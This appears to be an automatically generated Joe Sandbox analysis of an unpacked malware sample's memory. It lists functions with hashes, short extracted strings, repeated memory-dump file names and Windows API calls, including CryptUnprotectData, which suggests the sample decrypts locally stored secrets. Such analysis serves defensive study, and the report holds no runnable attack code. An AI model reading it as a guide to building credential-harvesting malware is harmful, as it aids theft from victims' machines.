Opcode Fuzzy Hash: 6b775d421786262bb8b4768727c020266b3d198b5c1a1a19c6dc0aeae2944dd0
Instruction Fuzzy Hash: 5311D2B4240208BFEB24CF64D895FAA77B5FB89705F208058FA159B384C7B2A941CB90

Function 0129DBAA Relevance: 7.9, Strings: 5, Instructions: 1606COMMON

Download Yara Rule

Strings

n }, xrefs: 0129E8E1
~Xw, xrefs: 0129DEC2
R{_, xrefs: 0129DDB3
@1{}, xrefs: 0129DBD5
e{}, xrefs: 0129EACB

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @1{}$R{_$e{}$n }$~Xw
API String ID: 0-1971452918
Opcode ID: 2832cfe668b0904d3205385f9fbbe42754af1677098a69b9b35ce8e80210ab40
Instruction ID: 184f55659a19347be7eaf3aa1a07d48c7dccacc8a4a3fd7910f9fd7f213c1151
Opcode Fuzzy Hash: 2832cfe668b0904d3205385f9fbbe42754af1677098a69b9b35ce8e80210ab40
Instruction Fuzzy Hash: 34B2F6F390C2049FE3046E29EC8567ABBE9EF94720F1A493DEAC4C7744E63598058697

Function 012A2B53 Relevance: 7.9, Strings: 5, Instructions: 1602COMMON

Download Yara Rule

Strings

Rb;, xrefs: 012A3523
BE], xrefs: 012A350F
\??9, xrefs: 012A3831
3`7{, xrefs: 012A34CC
.)}_, xrefs: 012A35D7

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Rb;$.)}_$3`7{$BE]$\??9
API String ID: 0-1194067693
Opcode ID: 313f9ac54774d215c1e6fd3a36a174eabd0b4d61b95a2f07802f4c697ed6eda9
Instruction ID: 49fd4eabea181a730dc2628e223e68dacfa668a0a5a3aeb515a90241bc712351
Opcode Fuzzy Hash: 313f9ac54774d215c1e6fd3a36a174eabd0b4d61b95a2f07802f4c697ed6eda9
Instruction Fuzzy Hash: 29B2F6F3A0C2109FE304AE2DDC8566ABBE5EF94720F1A453DEAC4C7744EA3598058797

Function 012ACCEE Relevance: 7.8, Strings: 5, Instructions: 1595COMMON

Download Yara Rule

Strings

@>, xrefs: 012AD22A
>6~~, xrefs: 012AD615
G6u{, xrefs: 012AD1E3
rp}}, xrefs: 012ADEA2
D=y, xrefs: 012AD9DB

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >6~~$@>$D=y$G6u{$rp}}
API String ID: 0-1267128328
Opcode ID: 05c6a2584bb46dc42107413964752a7027c0596b22bd0a758fff02281eea71bd
Instruction ID: 8b245a9e626ce4e14807e4ab9923950934f9f8ec38bf95339d128a157bc0e192
Opcode Fuzzy Hash: 05c6a2584bb46dc42107413964752a7027c0596b22bd0a758fff02281eea71bd
Instruction Fuzzy Hash: A2B205F360C2049FE304AE2DEC8567ABBE9EB94720F1A493DE6C5C3744E63598058697

Function 00EE7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00EE724D
RtlAllocateHeap.NTDLL(00000000), ref: 00EE7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00EE7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00EE72A4
LocalFree.KERNEL32(?), ref: 00EE72AE

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 666e74527a033ea42b974cf9a30567be0f143e79d5e00be24850bb1cfcedd2b4
Instruction ID: e9409cb0deb174ae17a1e0ce41ca5304feab49a1a77f9ba19d6688ef75e921bb
Opcode Fuzzy Hash: 666e74527a033ea42b974cf9a30567be0f143e79d5e00be24850bb1cfcedd2b4
Instruction Fuzzy Hash: E20140B5A40208BBDB24DFD4DD46F9D7778AB44701F104054FB15BB2C4DAB0AA508B64

Function 00EF8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00EE5184,40000001,00000000,00000000,?,00EE5184), ref: 00EF8EC0

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f687342c3f9d9ce56127139e6cf8c0757ae0eec53201255f9715407e95ed12f1
Instruction ID: dad792f4fc4fa8efe414cc36896199d7994bfc0c7b8c76c4e009461d7f8bd035
Opcode Fuzzy Hash: f687342c3f9d9ce56127139e6cf8c0757ae0eec53201255f9715407e95ed12f1
Instruction Fuzzy Hash: E5111C7120020CBFDB18CF64E985FB733A9AF89704F10A458FA299B240DB75EC91DB60

Function 00EF7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F00E00,00000000,?), ref: 00EF79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00EF79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00F00E00,00000000,?), ref: 00EF79C4
wsprintfA.USER32 ref: 00EF79F3

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 78117bdb36ead49c6fafa9209344ec101c9e4ff3d2a29d85d60714f7b06c1670
Instruction ID: 7a30bfd27ab40aacb1a2d1d231f3d4c47be281df7e3fb5df7eea9e89d731f521
Opcode Fuzzy Hash: 78117bdb36ead49c6fafa9209344ec101c9e4ff3d2a29d85d60714f7b06c1670
Instruction Fuzzy Hash: EE1130B2904118ABCB24DFC9E945FBEB7F8FB4CB11F10411AF615A2684E3795950C770

Function 0129C98F Relevance: 5.9, Strings: 4, Instructions: 888COMMON

Download Yara Rule

Strings

u, xrefs: 0129CDC1
:t", xrefs: 0129CE54
tv<, xrefs: 0129D1DF
a{o, xrefs: 0129CB46

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :t"$a{o$tv<$u
API String ID: 0-3934425717
Opcode ID: 735d97195cae496504a108ad17a4bca26e4d5e22c6954b97d54418379fba4226
Instruction ID: eef6c0f98ac63068674a2cfcfe1b4f35da47fbfa5019824d4fe3da8bee90fc9d
Opcode Fuzzy Hash: 735d97195cae496504a108ad17a4bca26e4d5e22c6954b97d54418379fba4226
Instruction Fuzzy Hash: 3952E2F360C3049FE304AE29EC8567AFBE9EF94720F16893DE6C487744E63558408796

Function 01297117 Relevance: 5.4, Strings: 3, Instructions: 1648COMMON

Download Yara Rule

Strings

Zknf, xrefs: 0129823D
o?~i, xrefs: 0129841A
4l{, xrefs: 01297578

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zknf$o?~i$4l{
API String ID: 0-2675933496
Opcode ID: ff7dad7a470e285236b5dd13e46a47971a7dfe52e24e5a0fd994e72e3ad8f2e3
Instruction ID: 0f374df82653a56e99aec9b3b319e7f91b17ca7db8a371fe72337196132cd902
Opcode Fuzzy Hash: ff7dad7a470e285236b5dd13e46a47971a7dfe52e24e5a0fd994e72e3ad8f2e3
Instruction Fuzzy Hash: 3EB207F3A0C2109FE3046E2DEC8567AB7E9EF94720F1A893DE6C4C7744E63598058697

Function 01298BD6 Relevance: 5.3, Strings: 3, Instructions: 1567COMMON

Download Yara Rule

Strings

q{yz, xrefs: 0129955B
Y];, xrefs: 01299728
{z-7, xrefs: 01299817

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
